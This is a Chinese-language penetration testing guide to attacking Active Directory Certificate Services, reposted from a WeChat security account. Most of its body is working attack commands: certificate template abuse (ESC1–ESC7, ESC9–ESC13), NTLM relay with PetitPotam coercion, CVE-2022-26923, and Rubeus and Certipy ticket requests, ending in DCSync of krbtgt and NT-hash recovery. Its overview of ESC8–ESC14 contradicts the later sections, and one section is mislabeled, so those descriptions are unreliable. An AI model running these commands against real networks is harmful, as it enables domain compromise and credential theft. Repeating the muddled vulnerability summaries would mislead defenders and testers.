Active Directory 证书服务渗透测试全面指南

admin 2024年9月3日22:28:28评论31 views字数 16300阅读54分20秒阅读模式

Active Directory 证书服务渗透测试全面指南

前言

AD 证书服务(ADCS)作为一种常见的身份验证机制,为攻击者提供了新的突破口。本指南将详细解析如何利用 AD 证书服务中的漏洞,帮助红队成员提升对企业网络的渗透能力,并为防御者提供切实可行的防护建议。

Active Directory 证书服务渗透测试全面指南

ADCS(Active Directory Certificate Services)是 Windows 服务器的一个重要角色,它为网络中的通信和交易提供了公钥基础设施(PKI)。在网络安全领域,ADCS 也是一个常见的攻击目标,尤其是在配置错误或权限控制不当的情况下。以下是一些与 ADCS 相关的常见安全漏洞及其利用方法。

文章的简要概括:

如何通过利用 Active Directory 证书服务 (AD CS) 中的配置错误来进行攻击。以下是对这些步骤和概念的简要概括:

AD CS 枚举与信息收集
1. netexec 和 ldapsearch 用于枚举 AD CS 信息,包括从 LDAP 目录中获取证书服务的相关配置。
2. certutil 工具可以用来检查和导出证书配置信息。
证书模板错误配置漏洞
ESC1: 通过配置错误的证书模板(如 VulnTemplate),允许域用户注册并指定任意的主体替代名称 (SAN),这可能导致伪装成其他用户(如域管理员)
ESC2: 允许请求者在证书签名请求 (CSR) 中指定 SAN,并且允许任何用途 EKU,这使得攻击者可以注册具有高权限的证书
ESC3: 利用具有“注册代理” EKU 的模板来为其他用户申请证书,进而可以伪装成目标用户
ESC4: 通过修改模板 ACL,将自己设置为模板的管理员或更改配置使其易受 ESC1 的影响
ESC5: 在子域中通过编辑模板来升级权限至企业管理员级别
ESC6: 通过滥用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志,在SAN中插入恶意信息
ESC7: 检测允许低权限用户管理证书颁发机构 (CA) 的权限,并通过更改配置进行攻击

ESC8: 通过滥用密钥恢复功能,获取并利用私钥

ESC9: 利用证书吊销列表 (CRL) 配置问题,绕过证书吊销检。

ESC10: 通过伪造 CA 证书,建立恶意的证书颁发机构,进行中间人攻击

ESC11: 通过暴力破解证书私钥或使用弱加密算法来破解证书

ESC12: 利用错误配置的证书信任链,导致信任提升或伪造有效证书

ESC13: 通过利用未授权的证书请求,获取不应由该用户拥有的证书

ESC14: 在证书模板中设置错误的默认属性,导致潜在的权限提升


工具使用
1.Certify 和 Certipy: 这些工具用于枚举、分析和利用 AD CS 的漏洞。
2.OpenSSL: 将证书转换为其他格式,如 PFX 文件,以便在后续的攻击中使用。
利用与缓解
通过上述步骤,攻击者可以利用错误配置的证书模板,伪造具有高权限的证书,并使用这些证书执行后续攻击,例如获取 TGT(Kerberos 票据授权票据)以访问关键资源。
缓解措施包括修正配置错误,尤其是撤销不必要的证书模板权限,禁用不安全的模板配置,并限制 AD CS 的访问控制权限。
具体攻击步骤
详细介绍了如何使用工具和命令执行上述漏洞攻击,包括如何使用 Certify 或 Certipy 申请证书、添加备用名称,以及如何利用 Rubeus 请求 TGT 以便在目标系统上执行攻击。

ADCS枚举

用于枚举和测试 ADCS 配置和连接情况,以便发现潜在的安全问题。
netexec:使用 netexec 工具通过 LDAP 协议查询 Active Directory 的证书服务信息。
  • netexec ldap domain.lab -u username -p password -M adcs:这里用的是 netexec 工具,通过 LDAP 协议查询 Active Directory 的 ADCS 服务。
ldapsearch:直接通过 LDAP 搜索 ADCS 相关信息。
  • ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName:这个命令通过 LDAP 查找 ADCS 相关的域名服务主机名。
certutil:这是 Windows 内置的工具,用于管理和查看证书。
  • certutil -config - -ping:测试与证书服务的连接。

  • certutil -dump:查看证书服务的详细配置和信息。

证书注册

在 Active Directory 证书服务 (ADCS) 中,有些证书模板要求对象具备特定的属性才能注册:

  • DNS 要求:模板可能要求 dNSHostName 属性,通常计算机在加入域后会有这个属性,而普通用户一般没有。

  • 电子邮件要求:模板可能要求 mail 属性,默认情况下,用户和计算机对象没有这个属性,且无法自行添加。

证书模版配置错误

ESC1 - 证书模板配置错误

域用户可以注册VulnTemplate模板,该模板可用于客户端身份验证,并设置了ENROLLEE_SUPPLIES_SUBJECT。这允许任何人注册此模板并指定任意主题备用名称(即作为 DA)。允许将其他身份绑定到主题以外的证书。

要求
  • 允许 AD 身份验证的模板

  • ENROLLEE_SUPPLIES_SUBJECT标志

  • [PKINIT] 客户端身份验证、智能卡登录、任何用途或无 EKU(扩展/增强密钥使用)
开发
  • 使用Certify.exe查看是否存在任何易受攻击的模板

Certify.exe find /vulnerableCertify.exe find /vulnerable /currentuser# orPS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'# orcertipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound# orpython bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
  • 使用 Certify、Certi或Certipy申请证书并添加备用名称(要模拟的用户)

# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.Certify.exe request /ca:dc.domain.localdomain-DC-CA /template:VulnTemplate /altname:domadmincerti.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSANcertipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
  • 使用OpenSSL并转换证书,不输入密码

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  • 将 cert.pfx 移动到目标机器文件系统,并使用 Rubeus 为 altname 用户请求 TGT

Rubeus.exe asktgt /user:domadmin /certificate:C:Tempcert.pfx
警告即使用户或计算机重置密码,这些证书仍然可以使用!
注意:查找EDITF_ATTRIBUTESUBJECTALTNAME2、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT、ManageCA标志和 NTLM 中继到 AD CS HTTP 端点。

ESC2 - 证书模板配置错误

  • 要求:允许请求者在 CSR 中指定主题备用名称 (SAN),并允许任何用途 EKU (2.5.29.37.0)
  • 开发:查找模板
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'# orpython bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
  • /altname请求指定为域管理员的证书,如在ESC1中一样

ESC3 -注册代理模板配置错误

ESC3 是指证书模板指定证书请求代理 EKU(注册代理)。此 EKU 可用于代表其他用户请求证书

  • 根据存在漏洞的证书模板ESC3申请证书。

$ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3'[*] Saved certificate and private key to 'john.pfx'
  • 使用证书请求代理证书 (-pfx) 代表其他用户请求证书

$ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corpadministrator' -pfx 'john.pfx'

ESC4 -访问控制漏洞

启用mspki-certificate-name-flag允许域身份验证的模板标志,允许攻击者“将错误配置推送到模板,从而导致 ESC1 漏洞

  • 使用modifyCertTemplate搜索WriteProperty值00000000-0000-0000-0000-000000000000
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
  • 添加ENROLLEE_SUPPLIES_SUBJECT(ESS)标志以执行ESC1

python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. C:>StandIn.exe --adcs --filter WebServer --ess --add
  • 执行ESC1然后恢复值

python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag

使用 Certipy

# overwrite the configuration to make it vulnerable to ESC1certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old# request a certificate based on the ESC4 template, just like ESC1.certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'# restore the old configurationcertipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

ESC5 - 易受攻击的 PKI 对象访问控制

将权限从子域中的域管理员升级到林根处的企业管理员。


要求:

将新模板添加到“证书”模板容器

pKIEnrollmentService对对象的“写”访问权限

开发:

在子 DC 上以 SYSTEM 身份启动PsExec:mmcpsexec.exe /accepteula -i -s mmc

连接到“配置命名上下文”>“证书模板”容器
以 SYSTEM 身份打开certsrv.msc并复制现有模板
编辑模板的属性以:
授予我们在子域中控制的主体注册权限。
在应用程序策略中包括客户端身份验证。
允许证书请求中的 SAN。
不允许经理批准或授权签名。
将证书模板发布到 CA
通过将模板添加到> > >certificateTemplate的属性列表中进行发布CN=ServicesCN=Public Key ServicesCN=Enrollment ServicespkiEnrollmentService
最后利用复制模板中引入的ESC1漏洞颁发冒充企业管理员的证书。

ESC6 -EDITF_ATTRIBUTESUBJECTALTNAME2

如果在 CA 上设置了此标志,则任何请求(包括从 Active Directory 构建主题时)都可以在主题备用名称中拥有用户定义的值。

开发

使用Certify.exe检查引用该标志的UserSpecifiedSANEDITF_ATTRIBUTESUBJECTALTNAME2标志状态。

Certify.exe cas
为模板申请证书并添加备用名称,即使默认User模板通常不允许指定备用名称
.Certify.exe request /ca:dc.domain.localdomain-DC-CA /template:User /altname:DomAdmin

减轻

删除标志:certutil.exe -config "CA01.domain.localCA01" -setreg "policyEditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 -易受攻击的证书颁发机构访问控制

检测允许低权限用户ManageCA 或Manage Certificates权限的 CA

Certify.exe find /vulnerable

更改 CA 设置以启用易受攻击的 CA (ESC6) 下的所有模板的 SAN 扩展

Certify.exe setconfig /enablesan /restart

使用所需的 SAN 请求证书。

Certify.exe request /template:User /altname:super.adm

如果需要,授予批准或禁用批准要求

# GrantCertify.exe issue /id:[REQUEST ID]# DisableCertify.exe setconfig /removeapproval /restart

ESC8 -易受攻击的证书颁发机构访问控制

攻击者可以使用 PetitPotam 触发域控制器,将 NTLM 凭据中继到所选主机。然后可以将域控制器的 NTLM 凭据中继到 Active Directory 证书服务 (AD CS) Web 注册页面,并注册 DC 证书。然后可以使用此证书请求 TGT(票证授予票证)并通过传递票证攻击整个域。

Active Directory 证书服务渗透测试全面指南

版本 1:NTLM Relay + Rubeus + PetitPotam

impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcsimpacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate# For a member server or workstation, the template would be "Computer".# Other templates: workstation, DomainController, Machine, KerberosAuthentication
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRNgit clone https://github.com/topotam/PetitPotampython3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IPpython3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IPpython3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGTRubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /pttRubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
# Now you can use the TGT to perform a DCSyncmimikatz> lsadump::dcsync /user:krbtgt

版本 2:NTLM Relay + Mimikatz + Kekeo

impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatzmimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeokekeo> base64 /input:onkekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatzmimikatz> lsadump::dcsync /user:krbtgt

版本 3:Kerberos 中继

# Setup the relaysudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
# Run mitm6sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

版本 4:ADCSPwn - 需要WebClient在域控制器上运行服务。默认情况下未安装此服务。

https://github.com/bats3c/ADCSPwnadcspwn.exe --adcs <cs server> --port [local port] --remote [computer]adcspwn.exe --adcs cs.pwnlab.localadcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:Tempcert_b64.txtadcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.localmranderson --password The0nly0ne! --dc dc.pwnlab.local
# ADCSPwn argumentsadcs - This is the address of the AD CS server which authentication will be relayed to.secure - Use HTTPS with the certificate service.port - The port ADCSPwn will listen on.remote - Remote machine to trigger authentication from.username - Username for non-domain context.password - Password for non-domain context.dc - Domain controller to query for Certificate Templates (LDAP).unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .output - Output path to store base64 generated crt.

版本 5:Certipy ESC8

certipy relay -ca 172.16.19.100

ESC9 - 无安全扩展

要求

StrongCertificateBindingEnforcement设置为1(默认)或0
证书的值CT_FLAG_NO_SECURITY_EXTENSION中包含标志msPKI-Enrollment-Flag
证书指定Any Client身份验证 EKU
GenericWrite通过任何账户 A 来危害任何账户 B


设想:[email protected][email protected] 拥有GenericWrite 权限,而我们想要攻陷 [email protected][email protected] 被允许注册证书模板 ESC9,该模板在msPKI-Enrollment-Flag值中指定了CT_FLAG_NO_SECURITY_EXTENSION标志。

使用影子凭证 (使用我们的 GenericWrite) 获取 Jane 的哈希值

certipy shadow auto -username [email protected] -p Passw0rd -account Jane

将 Jane 的userPrincipalName更改为管理员。保留该@corp.local部分

certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator

从 Jane 的帐户请求存在漏洞的证书模板 ESC9。

certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9# userPrincipalName in the certificate is Administrator# the issued certificate contains no "object SID"

将 Jane 的 userPrincipalName 恢复为 [email protected]

certipy account update -username [email protected] -password Passw0rd -user [email protected]

使用证书进行身份验证并接收 [email protected] 用户的 NT 哈希。

certipy auth -pfx administrator.pfx -domain corp.local# Add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC10 - 将 NTLM 中继到 ICPR

对于 ICPR 请求,不强制加密,并且请求处置设置为问题。

开发:
Enforce Encryption for Requests: Disabled在certipy find -u [email protected] -p 'REDACTED' -dc-ip 10.10.10.10 -stdout输出中查找
使用 Impacket ntlmrelay 设置中继并触发与它的连接。

ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support

ESC11 - 发行政策

如果主体(用户或计算机)对配置了具有 OID 组链接的颁发策略的证书模板具有注册权,则该主体可以注册允许作为 OID 组链接中指定的组成员获取对环境的访问权限的证书。

要求
主体对证书模板具有注册权限
证书模板具有颁发策略扩展
发行策略具有指向某个组的 OID 组链接
证书模板定义启用客户端身份验证的 EKU

PS C:> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTERESC13User"}AccessControlType     : Allow
# check if there is an issuance policy in the msPKI-Certificate-PolicyPS C:> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-PolicymsPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
# check for OID group linkPS C:> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLinkmsDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
# verify if ESC13Group is a Universal groupPS C:> Get-ADGroup ESC13Group -Properties MembersGroupScope : UniversalMembers : {}

开发:
为易受攻击的模板申请证

PS C:> .Certify.exe request /ca:DC01dumpster-DC01-CA /template:ESC13Template

合并到 PFX 文件

PS C:> certutil -MergePFX .esc13.pem .esc13.pfx

验证“客户端身份验证”和“策略标识符”是否存在

PS C:> certutil -Dump -v .esc13.pfx

为我们的用户请求 TGT,但我们也是链接组的成员并继承了他们的权限

PS C:> .Rubeus.exe asktgt /user:ESC13User /certificate:C:esc13.pfx /nowrap

已认证 CVE-2022-26923

经过身份验证的用户可以操纵他们拥有或管理的计算机帐户的属性,并从 Active Directory 证书服务获取允许提升权限的证书。

寻找ms-DS-MachineAccountQuota

bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota

默认在 Active Directory 中添加一台新计算机MachineAccountQuota = 10

bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'

[替代方案] 如果您是SYSTEM并且MachineAccountQuota=0:使用当前计算机的票证并重置其 SPN

Rubeus.exe tgtdelegexport KRB5CCNAME=/tmp/ws02.ccachebloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName

设置dNSHostName属性以匹配域控制器主机名

bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.localbloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName

索取票证

# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CAcertipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA

使用 pfx 或在你的机器账户上设置 RBCD 来接管域

certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
openssl pkcs12 -in dc.pfx -out dc.pem -nodesbloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*' secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10

传递证书

通过证书获取TGT,此技术在“UnPAC the Hash”和“Shadow Credential”中使用
视窗

# Information about a cert filecertutil -v -dump admin.pfx
# From a Base64 PFXRubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
# Grant DCSync rights to an user./PassTheCert.exe --server dc.domain.local --cert-path C:cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID># To restore./PassTheCert.exe --server dc.domain.local --cert-path C:cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt

Linux

# Base64-encoded PFX certificate (string) (password can be set)gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PEM certificate (file) + PEM private key (file)gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PFX certificate (file) + password (string, optionnal)gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Using Certipycertipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"

UnPAC 哈

使用UnPAC Hash方法,您可以通过用户的证书检索用户的 NT Hash。

视窗


# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

Linux

# Obtain a TGT by validating a PKINIT pre-authentication$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Use the session key to recover the NT hash$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'


希望这些信息对您有所帮助!如果觉得这篇文章有价值,欢迎点赞和分享。感谢您的支持!


原文始发于微信公众号(星空网络安全):Active Directory 证书服务渗透测试全面指南

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月3日22:28:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Active Directory 证书服务渗透测试全面指南http://cn-sec.com/archives/3126134.html

发表评论

匿名网友 填写信息